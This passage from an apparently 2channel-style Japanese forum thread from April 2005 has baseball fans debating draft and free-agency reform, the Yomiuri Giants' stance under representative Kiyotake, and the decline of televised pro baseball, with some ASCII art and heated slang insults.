そもそも球団オーナーが集まってルールを決めてるのがおかしなはなし。
オーナー会議を解体するところから始めなければどうにもならない。




422 :名無しさん@恐縮です :2005/04/27(水) 15:59:52 ID:oUHAXA6Q
自由獲得枠2を1に減らすという清武の案でいいじゃん。
どこが不満なの。ドラフトでごねる選手は毎年ほんの数人だし。

423 :名無しさん@恐縮です:2005/04/27(水) 16:00:28 ID:moMDPfBK
>>417
だから放映権料の分配なんて他でもやってるし
それだけで成功したなんて一言も書いてないだろうが
それをやったら本当に経営努力放棄でマイナスにしかならないのかってことだ
他の収入部分で努力するところはいくらでもある

424 :名無しさん@恐縮です:2005/04/27(水) 16:01:31 ID:Gs69SoVS
そうだなあ。今年何が改革された?
観客動員数実数発表は当たり前。ボールは完全に統一されてないし。
テレビ、ラジオは巨人戦ばっか。
大丈夫か、プロ野球。

425 :名無しさん@恐縮です:2005/04/27(水) 16:01:38 ID:2/PgNAkZ
NFLが運営的に成功してるのは、
巨大な協力者、タニマチ的な企業群が下支えし、サポートしているからであって、
NFLが分配方式だからそれが運営成功の要因なんてとんでもないw


426 :名無しさん@恐縮です:2005/04/27(水) 16:02:15 ID:akWPun08
>>417
NFLが成功してんのは、関係者もファンもフットボールが好きでたまらんからじゃないの

427 :名無しさん@恐縮です:2005/04/27(水) 16:02:49 ID:KzF6Gatu
つーか巨人ってドラフトで良い選手かき集めても育てないんだもん

428 :名無しさん@恐縮です:2005/04/27(水) 16:03:51 ID:Zm17Klhu
清原の500号騒動で本末転倒。まるで清原1人のホームランのために、試合をやっているようなバカげた異常事態に陥っているのだから、勝てるわけがない。


429 :名無しさん@恐縮です:2005/04/27(水) 16:04:16 ID:PY2Jcd3U
>>423
チケット収入とスポンサー収入にその余地を残してはいる。

430 :名無しさん@恐縮です:2005/04/27(水) 16:08:54 ID:Gc7dVgbW
元オーナーがバカだったばっかりに、こんな事態になっちゃったんだよねm9(^Д^)プギャーーーッ




あと元木氏ね

431 :名無しさん@恐縮です:2005/04/27(水) 16:09:27 ID:LN53CO0v
清原のために、いったいどれくらいの花束がゴミ箱行きになったんだ。

432 :名無しさん@恐縮です:2005/04/27(水) 16:09:30 ID:2/PgNAkZ
>>426
そういうこと。

433 :名無しさん@恐縮です:2005/04/27(水) 16:14:21 ID:Q88RSWZt
才能はあって活躍してるけど、あきらかに所属チームに不満があって
FA取ったらすぐ行使しそうな奴を応援できるのか。今でさえ、上原や井川が
メジャー思考だから壊れてもいいから酷使しちまえって思ってる奴多いのに

434 :名無しさん@恐縮です:2005/04/27(水) 16:14:55 ID:moMDPfBK
>>429
だからチケット、スポンサー、グッズその他の収入を得るための
経営努力も怠ってマイナスにしかならないと具体的な根拠があって言ってるのか?

435 :名無しさん@恐縮です:2005/04/27(水) 16:18:06 ID:gUcYkLEN
>>424
改革されてないなんてみんなわかってることじゃん。
改革元年と言っているのは即効果のほしいマスコミの謳い文句なだけ。

そもそも、今まで選手やファンの声なんか聞くつもりなんかほとんどなかった。
しかし、合併問題に始まりライブドアの近鉄買収や新規参入問題で
やっと重い腰を上げたってのが実情でしょ。
去年は上述の問題で他の事に全く手をつけられなかったから
とりあえず、突っ込んでおける交流戦を入れただけ。

実質的には今オフが改革する初のチャンスだからみんな議論しているんじゃないの?
もちろん、一年や二年で一気に息を吹き返すことなんでできないだろうけど、
とりあえず、何かを考えて何かをやらなきゃいけないしね。

436 :名無しさん@恐縮です:2005/04/27(水) 16:19:35 ID:92ATTqmj
ってか地上波で放送をこれからを続けていくなら必ずやらなきゃならないことがひとつある。
試合時間の短縮。
ピッチャー間合い長すぎ。
高校野球並にしろとは言わないけど、1試合平均2時間45分ぐらいに改善汁

437 :名無しさん@恐縮です:2005/04/27(水) 16:30:29 ID:JkTkSCnI
>>1
タフィーも呆れとったわ

438 :名無しさん@恐縮です:2005/04/27(水) 16:30:38 ID:wyRVwtra
こういう火病ぶりを楽しむのもプロ野球の醍醐味だな

439 :名無しさん@恐縮です:2005/04/27(水) 16:41:37 ID:GNfLb9Bh
巨人の意見は絶対だろ

440 :名無しさん@恐縮です:2005/04/27(水) 16:41:40 ID:ZwERkOIc
>>395
だから野球も世界戦をしようという動きなんじゃないか

441 :名無しさん@恐縮です:2005/04/27(水) 16:44:57 ID:3j1npnjt
今オフ開催予定の野球のアジアシリーズは、
出るだけで1000万もらえるのでいいと思います。

442 :名無しさん@恐縮です:2005/04/27(水) 16:46:29 ID:RzZtHyoc
あれなんだろうな。
巨人はいつもの通りなんだろうが
他球団は他球団でろくに調査すらしてないで反対してるんだろうな。

どっちもどっち

443 :名無しさん@恐縮です:2005/04/27(水) 16:47:13 ID:bnuyC4yu
巨人野球イラネ

444 :名無しさん@恐縮です:2005/04/27(水) 16:48:29 ID:S6XX+oqk
>>436
今年だいぶ短縮されてるよ。
まぁ、試合展開によってはどうにもならないが

445 :名無しさん@恐縮です:2005/04/27(水) 16:53:18 ID:S6XX+oqk
俺は抽選でウェーバーがいいと思うけどな
逆ウェーバーやると、終盤わざと負けるチームが出てくるだろうし
何より抽選にすると、ドラフト時の戦略がかなり面白いことになりそう。

446 :名無しさん@恐縮です:2005/04/27(水) 16:54:14 ID:kK5kq+YO
祇園精舎の鐘の声、諸行無常の響きあり。
娑羅双樹の花の色、盛者必衰の理をあらわす。

447 :名無しさん@恐縮です:2005/04/27(水) 16:57:32 ID:SNOWwzlL
国破れてサンガリア

448 :名無しさん@恐縮です:2005/04/27(水) 16:58:08 ID:yjEknhy0
野崎案のように
一巡目を九時
二順目をウェーバー

そんで3順目を逆ウェーバーにすればいい。

449 :名無しさん@恐縮です:2005/04/27(水) 17:04:42 ID:GNfLb9Bh
最近は巨人関係者が切れまくってるなw

450 :名無しさん@恐縮です:2005/04/27(水) 17:10:03 ID:7yGIlL3A
>>448
四順目は

451 :名無しさん@恐縮です:2005/04/27(水) 17:13:18 ID:08YlN9Dt
ウェーバー:最下位から指名
逆ウェーバー:上位から指名
だよな。

452 :名無しさん@恐縮です:2005/04/27(水) 17:13:49 ID:dv8d6suZ
>>445
何かおかしいぞ。

まあ、MLBの完全ウェーバー&FAの補償に指名権てのも
問題は確かにあるんだよな。入団拒否だってあるし。

453 :名無しさん@恐縮です:2005/04/27(水) 17:16:39 ID:aiMMvJjv
てか、選手の立場で、楽天しか選択死が無いってのは耐え切れんぞ。

トランプの大富豪の逆で、上位チームが下位チームに鐘でも渡したら?
人だと文句が出そうだから、金でいいじゃん。金で。

454 :名無しさん@恐縮です:2005/04/27(水) 17:19:04 ID:0s18amNe
サラリーキャップでええんちゃうの?

455 :名無しさん@恐縮です:2005/04/27(水) 17:19:16 ID:dRT4X3PN
ウェーバーなら巨人にとって有利なのに

456 :名無しさん@恐縮です:2005/04/27(水) 17:20:03 ID:yjEknhy0
>>450
4順目以降は適当でいいんじゃないか?
ウェーバー逆ウェーバー交互にやってもいいし
4順目はウェーバー5位から
5順目は逆ウェーバー2位から
6順目はウェーバー4位から
みたいに変則的にやってもいいし

457 :名無しさん@恐縮です:2005/04/27(水) 17:20:48 ID:eIRddK7z
巨人が革命的な改革案を出して反対されて怒るっていうならすげぇな、とか思う記事なんだが
ほぼ現状維持かよ。巨人氏ね

458 :名無しさん@恐縮です:2005/04/27(水) 17:22:39 ID:dv8d6suZ
個人的には1巡目のみ重複抽選、
2巡目以降は下位球団から指名のウェーバー制。
FAの短縮もセットでね(6年か7年)

これなら前年優勝球団がドラフトbPを獲れる可能性もあるし。
2位以下は下位球団が獲れるし。金満球団はFAで選手集めてくれ。
FAだと金かかるって言うが、現状の自由獲得も金かかりまくりだろうし。

459 :名無しさん@恐縮です:2005/04/27(水) 17:24:28 ID:XjO0XSj2
役満イーシャンテンのところをピンフで流されて激怒しているような清武英利

460 :名無しさん@恐縮です:2005/04/27(水) 17:25:26 ID:yjEknhy0
どうせ4順目以降なんて大した選手残ってないだろ。
せいぜい目玉選手は1〜2順目、3順目くらいまでなんだから4順目なんかどうでもいい

461 :名無しさん@恐縮です:2005/04/27(水) 17:25:45 ID:dv8d6suZ
まあ、結局色々見てきたのは現状維持できる「失敗例」探しだった、と。

改革する気無いならそう言えばいいのに。
ファンも離れていって、好きなように1リーグ制にできるよ。

462 :名無しさん@恐縮です:2005/04/27(水) 17:27:35 ID:kD4SvBAC
イチローは4位じゃなかったか。中には掘り出し者もいるんだろうけどな。

463 :名無しさん@恐縮です:2005/04/27(水) 17:28:43 ID:sdU2Q9/K ?
たしかイチローは4巡目だよね

464 :名無しさん@恐縮です:2005/04/27(水) 17:30:21 ID:Gs69SoVS
そうだよ。一、二位までくじにしてあげよう。なるべき公平にということで。
三位からウェーバー。
こういう案でてるんでしょ。これで多数決取るべき。


465 :名無しさん@恐縮です:2005/04/27(水) 17:31:48 ID:qgHQcaF6
>>461
>まあ、結局色々見てきたのは現状維持できる「失敗例」探しだった、と。

オリックスの元代表とかが、FAの悪い所だけ取り上げて、FA大失敗と言っているようなレベルだよ
ホントこいつらはバカwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

466 :名無しさん@恐縮です:2005/04/27(水) 17:34:02 ID:khZvLx5K
>>462-463
         巛彡ミミミ彡彡
         巛巛巛巛巛彡彡
         |:::::::::        | 
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         |(6  `   _ 」 }     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
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        ,ノ`ヽ、 ヽ、. ━━/    \ 
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 _,;-'"´   r‐-‐-‐/⌒ヽ '"´    ``-、_
//  ヽ、  |_,|_,|_,h( ̄.ノヽ      ヽ  ヽ
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| ヽ、// ノ |ヽ、_入_ノ|´ ̄     ノ   |  
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 ト、l イ        /B u f f a l o e s /____|
   ヽ、      ノ    |      /|____,,ゝ
    \__/     |     5 | |    |


467 :名無しさん@恐縮です:2005/04/27(水) 17:34:35 ID:sdU2Q9/K ?
>>466
へー

468 :名無しさん@恐縮です:2005/04/27(水) 17:35:50 ID:myrWkMSW
>>466
コメントは差し控えさせて頂きます。

469 :名無しさん@恐縮です:2005/04/27(水) 17:44:02 ID:A+Jv+Inj
馬鹿じゃないの?

巨人戦視聴率の低迷で放映権料がた落ち。
この先中継維持できるかどうか分からない。
それによりセ・リーグ各球団の経営が悪化するだけじゃない。
へたしたら将来的にプロ野球全体が崩壊するかもしれない。

阪神やホークスは客入ってるから大丈夫だなんて錯覚してたらとんでもない間違いだよ。
阪神やホークスも時間をおいて巨人みたいに人気が凋落してくる。

その辺のことを理解した上で制度改革考えなきゃ。
今までは巨人が他球団を支えてたが、
これからは他球団が巨人を支えないといけなくなってきている。

470 :名無しさん@恐縮です:2005/04/27(水) 17:49:58 ID:unxRrht6
もう巨珍人気なんてないんだから自由競争でもいいよ。
そんで金に物言わせて優秀な若手を根こそぎとったら、
もうみんな見向きもしなくなって自滅するだけさ。
野球人気に■なし。

471 :名無しさん@恐縮です:2005/04/27(水) 17:50:52 ID:myrWkMSW
>>469
地上波で野球の放送がある、っていうのが大事なんだよな。
そこがなくなったら、それこそ雪崩を打って落ちていく。
だからこそ、何とかしないといけない。

472 :名無しさん@恐縮です:2005/04/27(水) 17:53:21 ID:myrWkMSW
巨人は使えなくなった選手は、切れば良いんだよ。
何を大事そうに抱え込んでるのか。
FA選手なんて助っ人外人みたいなものだと思わないと。

473 :名無しさん@恐縮です:2005/04/27(水) 17:55:19 ID:YQNf2sNv
@読売新聞に「週刊現代」広告が復活した理由
A日テレ「エンタの神様」で波田陽区が「おしゃれカンケイ」を「汚れカンケイ」
と斬って、スポンサーの資生堂がスポンサーを降りそうになったが、
「おしゃれイズム」でも引き続きスポンサーになっている理由

@とAの理由知ってる人教えてください!

474 :名無しさん@恐縮です:2005/04/27(水) 17:58:16 ID:LItHTdvO
分かっていない人はまったく分かっていない。
分かっている人は分かっているけど。

475 :名無しさん@恐縮です:2005/04/27(水) 18:01:02 ID:qgHQcaF6
>>469
>阪神やホークスも時間をおいて巨人みたいに人気が凋落してくる。

根拠が書いてありませんがwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

476 :名無しさん@恐縮です:2005/04/27(水) 18:09:55 ID:7gpksj2N
>>473
@もともと広告排除した理由は現代の過激な猥褻広告。
それは名分であって実際には鍋恒攻撃が理由との見方もあるが、
どっちにせよ、ポスト&現代がヘアヌード廃止とかで改善されてきたから断る理由もなくなった。
部数落ち込みの大きくなった現代が、同日月曜発売のポストが執拗な鍋恒攻撃してたタイミングを見計らって
広告出稿再開を申し出て、それに読売が応じたのが再開の理由だと思う。
なお、現代編集長日記では読売側が再開するよう要請したとの説明があったが、多分それはないだろう。

Aそれは一部マスコミの妄想。おしゃれカンケイは久米同様、
ニュースとおしゃれを併行して保険かけ、ニュース定着後におしゃれ降板するという
既定路線通りになっただけ。おしゃれカンケイは古館プロジェクトが制作に関与してるから、
そこが降りる以上、番組が打ち切りになるのは当然。otoのNステが久米降板で報ステになったのと同じ。
おしゃれカンケイは古館契約更新時に、大幅なギャラアップを古館側が継続の条件に出してきたが、
日テレは当然拒否。結局衣替えで決着。
なお、資生堂は本社ビルが日テレ社屋横の日テレ敷地内建設の定期借地権ビルで、
日テレと資生堂とは極めて縁の深い会社だから喧嘩別れすることはまずない。

477 :名無しさん@恐縮です:2005/04/27(水) 18:12:40 ID:xiBc8HVm
別に巨人が欲しい新人を全員入団させようが、巨人スカウトの目が腐ってるから問題ない。
内海?野間口?(゚д゚)イラネーヨ、バカ
と叫びたい巨人ファンでした。

478 :名無しさん@恐縮です:2005/04/27(水) 18:15:35 ID:7Mk6G5jP
>>475
地方で今、いくら野球が人気維持できてても、
地上波で、スポーツ番組その他の「野球」の扱いが悪くなれば、
自然と地方でも野球人気は低下してくるのは避けられない。
試合の結果で歓喜して夜のニュース見てみたら、そっけない扱いだったらしらけるだろ?
「プロ野球ニュース」が23時にあって、そこで詳細な試合のレポートやってたのは
ついこの間の話だよ。それが今やスポーツコーナーの超一部でしかなくなった。
高校野球も観客動員が激減してきている。
そうしたことは巨人凋落の時期と期を一にしている。
結局は巨人がプロ野球のご本尊だということ。
サッカーでいえば代表戦みたいなものだ。

479 :名無しさん@恐縮です:2005/04/27(水) 18:18:03 ID:myrWkMSW
最近は、夕方のニュースのスポーツコーナーでも、ミニ中継やらなくなったし。

480 :名無しさん@恐縮です:2005/04/27(水) 18:23:41 ID:GNfLb9Bh
巨人関係者はいまだ盟主気取りだな

481 :名無しさん@恐縮です:2005/04/27(水) 18:41:18 ID:LItHTdvO

だから今までの巨人野球は、スポーツじゃないんだよ。
言うなれば「水戸黄門」や、「遠山の金さん」みたいな勧善懲悪の時代劇。
正義(巨人)は最後に必ず勝つっていう筋書き無しには成り立たない。

毎日やってるスポーツの中継なんて、もともとそれほど視聴率がとれるもんじゃない。
プロ野球を「スポーツ」としてやりなおすなら、視聴率、観客動員数、選手の年俸はこれからもどんどん下がり、
良くてJリーグ並、最悪ゼロになるけど、それが普通っちゅうことだ「スポーツ」は。キビシイよ。
「野球を愛してる」ちゅうやつは、自分でプレイすれば良い。
これから禁止されるというわけじゃないw

 

482 :名無しさん@恐縮です:2005/04/27(水) 18:42:02 ID:YptmHtml
まずはパンチョ伊東をクローンで復活しろ。
それからだ。

483 :名無しさん@恐縮です:2005/04/27(水) 18:42:33 ID:myrWkMSW
長嶋に頼ってきた弊害だろ。

484 :名無しさん@恐縮です:2005/04/27(水) 18:47:04 ID:D1l6fR9L
てか最近のドラフトって打者の順位は基本として低いじゃん

485 :名無しさん@恐縮です:2005/04/27(水) 18:48:23 ID:R+uq1whv
ドラフト一ヶ月前:予備抽選で指名順位を決める。

どうしても地元出身の目玉選手が欲しいが、抽選で指名順位が下位になった球団は、
保有選手・金銭と上位球団の「指名権」とをトレードする。

ドラフト二週間前:トレードなどによる変更後の、最終の指名順位が確定。

ドラフト本会議


これならそんなに不平等でもないと思うんだが・・・

486 :名無しさん@恐縮です:2005/04/27(水) 18:55:11 ID:D+54ppTR
       ,..:ニニニニニ::::::、
       ;;:::'''       ヾ、
      ;'X:           ミ
      彡 # -==、  ,==-i
     ,=ミ_____,====、 ,====i、
     i 、''ーー||ヮ°||=||ヮ°||
     '; '::::::::: """"  i,゙""",l
      ーi::i:::   ,'"`ー'゙`; _ j    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
      . |:::|:::   i' ,-ュュャ'  i   < 久々にキレタ オレの意見で全てが決まるのが昔のプロ野球界なんだよな
       人:::::  ゙ "" ゙̄ ._ノ    \ 今の新参は昔のプロ野球界を知らないから困る
    .....イ.ヽヽ、ニ__ ーーノ゙-、.    \______________________

487 :名無しさん@恐縮です:2005/04/27(水) 18:55:33 ID:myrWkMSW
戦力どうこうさて置いても、ドラマと驚きがなくなったもんな、ドラフト。

488 :名無しさん@恐縮です:2005/04/27(水) 18:58:13 ID:qgHQcaF6
>>478
わかってないねwwwwwwwwwwwwwwwwwwwwwwwwww
地方だけ野球中継すればいいだけの話ですwwwwwwwwwwwwwwwwwwwwwwww

489 :名無しさん@恐縮です:2005/04/27(水) 19:01:07 ID:KDuErncO
>>7
大丈夫、みんなそんな感じだから
でも、俺は違うよ












どこがどう違うのか具体的かつ完結に説明は出来ないけどね

490 :名無しさん@恐縮です:2005/04/27(水) 19:18:53 ID:iG51QBcJ

 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄」
―――――――――――――‐┬┘
                     .|
       ____.____    |
     |        |代表会議|   |
     |        | ∧_∧ |   |
     |        |( ´∀`)つ ミ |  [清武]
     |        |/ ⊃  ノ |   |
        ̄ ̄ ̄ ̄' ̄ ̄ ̄ ̄    |


491 :名無しさん@恐縮です:2005/04/27(水) 19:22:11 ID:QI7Jy3Sk
儲けさせてくれなくなると、人は冷たくなる

492 :名無しさん@恐縮です:2005/04/27(水) 19:22:57 ID:I8CgpyUY
ナベツネが相手じゃないと、どの球団も結構強気なんだな。

493 :名無しさん@恐縮です:2005/04/27(水) 19:24:25 ID:Xv/zgye8
あみだでいいじゃん。
わかり易いし。

494 :名無しさん@恐縮です:2005/04/27(水) 19:27:41 ID:+t/tENJU
球団指名又はFAは一回のみっつールールでいいだろ。
自由枠で入れば地元のスターになれるし、
メジャー視野に入れてる大物はウェーバーで入ればいい。
不正やったら選手と責任者は問答無用で永久追放。

495 :名無しさん@恐縮です:2005/04/27(水) 19:28:06 ID:RVb2wfz8
球界のお荷物球団巨人はさっさと出ていけ!

496 :名無しさん@恐縮です:2005/04/27(水) 19:28:48 ID:dv8d6suZ
巨人と読売に頼って従っていれば大丈夫だった時代から、
それではダメと各球団バラバラにモノを言う時代か。

どっちにしても機構はまともに機能してないんだよな。

497 :名無しさん@恐縮です:2005/04/27(水) 19:35:07 ID:xtoI/9eM
パではロッテが強いし、
セでは今年は広島もがんばっている。

ドラフトがどうのこうのというより、
問題はメジャーじゃないの?
3A化したリーグを今までと同じ熱意で見るわけ無いじゃない。



498 :名無しさん@恐縮です:2005/04/27(水) 19:35:17 ID:mYs7SCln
まずは高校野球、社会人、プロの野球機構っていうか組織をひとつにしろよ
話はそれからだ。っていう次元じゃね?


499 :名無しさん@恐縮です:2005/04/27(水) 19:36:19 ID:/buWXpVi
>>496
また根来が辞任しちゃうよ〜

500 :名無しさん@恐縮です:2005/04/27(水) 19:38:06 ID:SXlqdaKx
清武イラネっていうか虚塵イラネだろ

501 :名無しさん@恐縮です:2005/04/27(水) 19:39:34 ID:HrS1olCl
勝手に辞任しろ!巨人のブランドで何でも出来ると思うなよ!アホは消えろ!

502 :名無しさん@恐縮です:2005/04/27(水) 19:40:44 ID:dv8d6suZ
>>497
トップクラスの選手はMLBに行く流れが出来つつあるからね。
でも仕方がない。金も魅力もある所に集まるのが市場原理なわけだし。
MLBもMLBへ行く日本人も責められない。こうなるまで放置してたNPBの責任だから。

あとは選手協定で鎖国に近くするか、球団数を圧縮して
「日本地区」扱いにしてもらってプレーオフに組み込んでもらうか。
どっちにしても、NPBだけでMLBに追いつき追い越せは厳しい。
かと言ってアジアリーグなんてのはもっと難しい夢物語。

503 :名無しさん@恐縮です:2005/04/27(水) 19:43:48 ID:OYLuIJZ+
>>498
>まずは高校野球、社会人、プロの野球機構っていうか組織をひとつにしろよ
>話はそれからだ。

プッ、結局大失敗したサカ、Jリ-グの真似しろって事かw
くだらねーなーおい。



504 : ◆GaChAPiHNI :2005/04/27(水) 19:45:35 ID:/v1BdA5F
>分かっていない人はまったく分かっていない。
>分かっている人は分かっているけど

ワケワカラン

505 :名無しさん@恐縮です:2005/04/27(水) 19:48:43 ID:OYLuIJZ+
>分かっていない人はまったく分かっていない。
オリキン、楽天、横浜あたりのBクラス常連組だろ。
完全ウエーバーだと弱い球団ほど金の卵が無条件で確保出来るからな。

506 :名無しさん@恐縮です:2005/04/27(水) 19:54:42 ID:+vYVp+2a
オリックスは巨人に反対して、オープン戦組まれないなどの
嫌がらせ受けたんだよな。

507 :名無しさん@恐縮です:2005/04/27(水) 19:57:55 ID:xtoI/9eM
>>502
ある程度高給を貰ってる選手は
日本のプロ野球全体に対する責任も当然あるんじゃないか?
一般労働者ではないし、組合作って労使交渉をして経営にも参画してるんだから。
MLBに行く選手は責められないというにはどうかと思うが。

後、メジャー挑戦を煽るだけ煽ってきたマスコミが問題。


508 :名無しさん@恐縮です:2005/04/27(水) 20:01:19 ID:MddjkNo2
巨人は脱退して韓国リーグ入りしろ。

509 :名無しさん@恐縮です:2005/04/27(水) 20:07:24 ID:oQYWvsxO
巨人ファンは多いから清武を擁護する書き込みも
多いかと思ったがそうでもないんだな

510 :名無しさん@恐縮です:2005/04/27(水) 20:08:39 ID:moMDPfBK
ある程度高給を貰ってる選手じゃないとお声は掛からないだろうし
それを言ってしまったら一流選手の海外移籍自体を否定してしまうことになる

511 :名無しさん@恐縮です:2005/04/27(水) 20:28:37 ID:GNfLb9Bh
怒った方が負け

512 :名無しさん@恐縮です:2005/04/27(水) 20:45:34 ID:OYLuIJZ+
>いいかげんな人がいるから話ができない」と、
>あからさまに他球団の代表を批判した。

いいかげんな人とは
オリキン、楽天、横浜、ロッテ、広島あたりの新人選手に不人気でありBクラス常連組のこのメンツですね。
完全ウエーバーだと弱い球団ほど金の卵が無条件で確保出来る。


513 :名無しさん@恐縮です:2005/04/27(水) 20:48:24 ID:OYLuIJZ+
逆ウエーバー制度派 ソフトバンク。
現状維持改良派 巨人 阪神。
完全ウエーバー制度派 楽天 オリ近 広島 横浜   

514 :名無しさん@恐縮です:2005/04/27(水) 20:54:19 ID:5rzGdB3y
        r ‐、
        | ○ |         r‐‐、
       _,;ト - イ、      ∧l☆│∧
      (⌒`    ⌒・    ¨,、,,ト.-イ/,、 l  
      |ヽ  ~~⌒γ⌒) r'⌒ `!´ `⌒)   
     │ ヽー―'^ー-' ( ⌒γ⌒~~ /|    
     │  〉    |│  |`ー^ー― r' |
     │ /───| |  |/ |  l  ト、 |
     |  irー-、 ー ,} |    /     i
     | /   `X´ ヽ    /   入
弱小チームにはご退場願おうか

515 :名無しさん@恐縮です:2005/04/27(水) 20:58:08 ID:b77ZugNT
広島はFA短縮に反対だから完全ウェーバーも反対じゃなかったかな

516 :名無しさん@恐縮です:2005/04/27(水) 21:11:49 ID:iG51QBcJ
楽天に「あまりにも弱いと困る」
審判に「巨人が負けたのは審判のせいだ」と意見書とビデオ提出
大リーグ視察と言いながら海外旅行
巨人有利なドラフト改革に不満な他球団

話題豊富ですね清武さん


517 :名無しさん@恐縮です:2005/04/27(水) 21:13:47 ID:Jhor7v7k
金の切れ目が縁の切れ目いいますやん清武はん

518 :名無しさん@恐縮です:2005/04/27(水) 21:32:40 ID:x3zb4urQ
なにも見えていない清武・・・滅びろ巨人

519 :名無しさん@恐縮です:2005/04/27(水) 21:34:36 ID:NdULCTjZ
こういう腰掛けの出向が一番タチが悪いという結論

520 :名無しさん@恐縮です:2005/04/27(水) 21:40:40 ID:A4TJb7N4
>>67
亀レスだがそれいいな

前半の順位と後半の順位でそれぞれ優先権があるとかにすればおもろくなるかも

521 :名無しさん@恐縮です:2005/04/27(水) 21:41:46 ID:jsB6+jJX
祝!六連敗

522 :名無しさん@恐縮です:2005/04/27(水) 21:43:15 ID:8lVcOSTE
アメリカでウェーバーが機能しないのは
球団が多いことと、何十人も指名するからだろ

完全ウェーバーがいいとは言わないが
今の制度より256倍はマシだと思う
いい選手(=高額年俸選手)を集めれば優勝できる、ってことが間違いなのは自ら証明してるのに
それすら気づかない。

まあ清武、必死だな、ってところかな

523 :名無しさん@恐縮です:2005/04/27(水) 21:52:06 ID:OYLuIJZ+
>>522
>いい選手(=高額年俸選手)を集めれば優勝できる
MLBでは、いい選手は移籍する権利を得たら、代理人と選手自身が高額年俸契約を獲ようと売り込み開始するんだ。
日本でもフリーエージェント宣伝とか移籍志願する。
お前は現状認識そのものがむちゃくちゃ。




524 :名無しさん@恐縮です:2005/04/27(水) 21:54:19 ID:GNfLb9Bh
最下位のチームが偉そうに

525 :名無しさん@恐縮です:2005/04/27(水) 22:04:13 ID:OYLuIJZ+
>>522
>いい選手(=高額年俸選手)を集めれば優勝できる、ってことが間違い
オランダ、イタリア、リーガエスパリョーナ、イングランド、ドイツでも高額年俸揃いのチームがほとんど優勝している。
どう説明すんの?w



526 :名無しさん@恐縮です:2005/04/27(水) 22:06:06 ID:lSFCkngE
手出しできない悪人ナベツネ
ほころびまくりの小人清武

この読売長くねーな

527 :名無しさん@恐縮です:2005/04/27(水) 22:06:33 ID:oqk86Rn+
>>259
亀で失礼。

確かにあの読売の傀儡、値ごろが居座る現状だと何にも期待が持てないな。
さっさと解任しる!
野球をよく知ってて、かつ12球団をきちんとコントロールできる人材に
権限を与えて改革して欲しいもんだ。

528 :名無しさん@恐縮です:2005/04/27(水) 22:09:55 ID:OYLuIJZ+
>>526
結局、それかよww
サカヲタと新人確保が困難な不人気球団の思惑が一致してドラフトに文句言っているだけかw

529 :名無しさん@恐縮です:2005/04/27(水) 22:12:54 ID:7qykdZGr
>>199
恒雄を含む渡辺一族が断固反対するから

530 :名無しさん@恐縮です:2005/04/27(水) 22:13:09 ID:OYLuIJZ+
まあどっちにせよ。オリ近、楽天あたりが得する制度にはならないから。
完全ウェーバーなんてとんでもない。
自由枠を無くすか、逆指名で入団した選手のフリーエージェントをどうするかだろな。

531 :名無しさん@恐縮です:2005/04/27(水) 22:15:57 ID:Yh/gpmGq
だからホークスが提案してる、優勝したチームから指名する完全ウエーバー
がベストだって!勝ったチームが得する制度じゃないとわざと負ける。
わざと勝つことはできないからね。努力したチームが報われないとね。

532 :名無しさん@恐縮です:2005/04/27(水) 22:24:54 ID:GNfLb9Bh
>>531
それはよく言われるけど、実際良い選手を採るためにわざと負けるかな?

533 :名無しさん@恐縮です:2005/04/27(水) 22:26:05 ID:dq2QLWGi
ありえないね。個人成績下がったら査定にひびくだけだし

534 :  :2005/04/27(水) 22:28:51 ID:PP/r4SQr
何でニッカンだけなの?
勝手な解釈してないだろうな?

535 :名無しさん@恐縮です:2005/04/27(水) 22:32:03 ID:Jhor7v7k
好きな球団に入れないスポーツっておかしいだろ、共産国家かよ。

536 :名無しさん@恐縮です:2005/04/27(水) 22:32:04 ID:JH8+tx+I
ナベツネのいない読売なんぞ、だれが相手にするかいな。


537 :名無しさん@恐縮です:2005/04/27(水) 22:32:25 ID:Yh/gpmGq
>>533
メジャーでは普通にやってるよ。実際はわざと負けるんじゃなく、主力を
トレードするかベテランを使わない。マイナーの選手を優先して使う。
選手がやるんじゃなくフロントの考えで首脳陣がそうする。


538 :名無しさん@恐縮です:2005/04/27(水) 22:33:13 ID:1K8ICYzz
優勝チームから指名する完全ウエーバー がベストだな。
逆指名制度は廃止。契約金の上限制限撤廃。
1軍10年間。1500日以上のフリーエージェントの効力を逆指名以外で入団した選手に限るに変更する。
フリーエージェントの資格を取得し権利を行使し残留し、再契約金をもらう事を禁止する。
フリーエージェント資格を取得した事により高額年俸、高額再契約金を得ることができる現状を廃止する。
今の制度は逆指名とフリーエージェント資格を得たものだけが一方的に権利と利益を得て、
通常ドラフト入団組、一軍半クラスの権利と利益が無さ過ぎて格差が激しすぎる。

539 :名無しさん@恐縮です:2005/04/27(水) 22:34:03 ID:dv8d6suZ
>>507
だからと言って、「MLBに行くな」とは言えないでしょ。
バランスポイントも考えず(そもそもそういう仕組みになってない)、
年俸を高騰させるシステム作りをしてきた一部の球団の責任。
金のある球団が得をするルール・システム作りを当該球団がしてきて
結果が出ないというのは何とも皮肉な話だが。

ただ、MLB行きを餌にして高額契約を引き出すやり方には確かに賛同しかねる。
このあたりをもう少しシビアに球団側ができりゃいいんだが。
広島カープは「金をかけない」と批判されることもあるけど、
そのあたりをしっかりやってチーム作りをしてる点は充分評価できる。

540 :名無しさん@恐縮です:2005/04/27(水) 22:36:09 ID:vVdM0DEb
ドラフト優先権争いでわざと負けるチームって本当にいるのか?選手たちはヒット
打たなきゃ、いい球投げなきゃ年俸に響くんだぞ。杞憂なんじゃねえの?
ウェーバーが駄目でもかつての完全くじ引きのほうが65535倍ましだろう。

541 :名無しさん@恐縮です:2005/04/27(水) 22:38:53 ID:oqk86Rn+
>>535
だからさ、そのためのFAでしょ?

542 :名無しさん@恐縮です:2005/04/27(水) 22:45:41 ID:Gs69SoVS
まあ、保留権なくし、移籍も新人獲得も自由にした方が
面白くなる可能性もあるなあ。移籍が活発になり。
まあ、でも一位二位くじ、三位からウェーバー辺りが妥当だと思うけどなあ。

543 :名無しさん@恐縮です:2005/04/27(水) 22:50:59 ID:Jhor7v7k
